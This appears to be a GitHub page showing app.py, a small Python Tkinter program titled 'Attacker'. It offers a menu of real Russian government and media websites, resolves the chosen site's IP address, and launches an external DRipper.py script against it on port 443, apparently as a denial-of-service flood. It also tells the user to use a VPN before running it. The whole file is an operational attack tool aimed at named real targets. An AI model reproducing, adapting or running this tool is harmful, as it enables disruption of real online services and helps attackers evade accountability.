-
Notifications
You must be signed in to change notification settings - Fork 60
/
Copy pathapp.py
79 lines (57 loc) · 1.48 KB
/
app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import os
import tkinter as tk
import subprocess, shlex
import threading
import dns.resolver
import random
import pathlib
os.environ["PYTHONUNBUFFERED"] = "1"
OptionList = [
"www.rt.com",
"www.cbr.ru",
"www.kremlin.ru",
"www.vesti.ru",
"www.smotrim.ru",
"www.vgtrk.ru",
"xn--b1aew.xn--p1ai",
]
def get_ip(host):
resolver = dns.resolver.Resolver()
ips = list(resolver.query(host, 'A'))
ip = random.choice(ips)
return ip.to_text()
app = tk.Tk()
app.title("Attacker")
app.geometry('300x300')
host= tk.StringVar(app)
host.set(OptionList[0])
opt = tk.OptionMenu(app, host, *OptionList)
opt.config(width=90, font=('Helvetica', 12))
opt.pack()
message = tk.StringVar(app)
label = tk.Label(app, textvariable=message)
label.pack()
message.set("Better use vpn before running this app")
text = tk.Text(app, height=5, width=152)
proc = None
def start():
hostText = host.get()
message.set(f"Getting IP for {hostText}")
ip = get_ip(hostText)
message.set(f"Attacking {hostText} ({ip})")
current = pathlib.Path(__file__).parent.resolve()
os.chdir(current)
cmd = f'python3 DRipper.py -s {ip} -t 135 -p 443'
proc = subprocess.Popen(shlex.split(cmd))
def stop():
if proc:
message.set("Stopping..")
proc.terminate()
proc.kill()
app.destroy()
btn = tk.Button(app, text='Start', bd ='5', command=start)
btn.pack(side = 'top')
btn = tk.Button(app, text='Stop', bd ='5', command=stop)
btn.pack(side = 'top')
text.pack()
app.mainloop()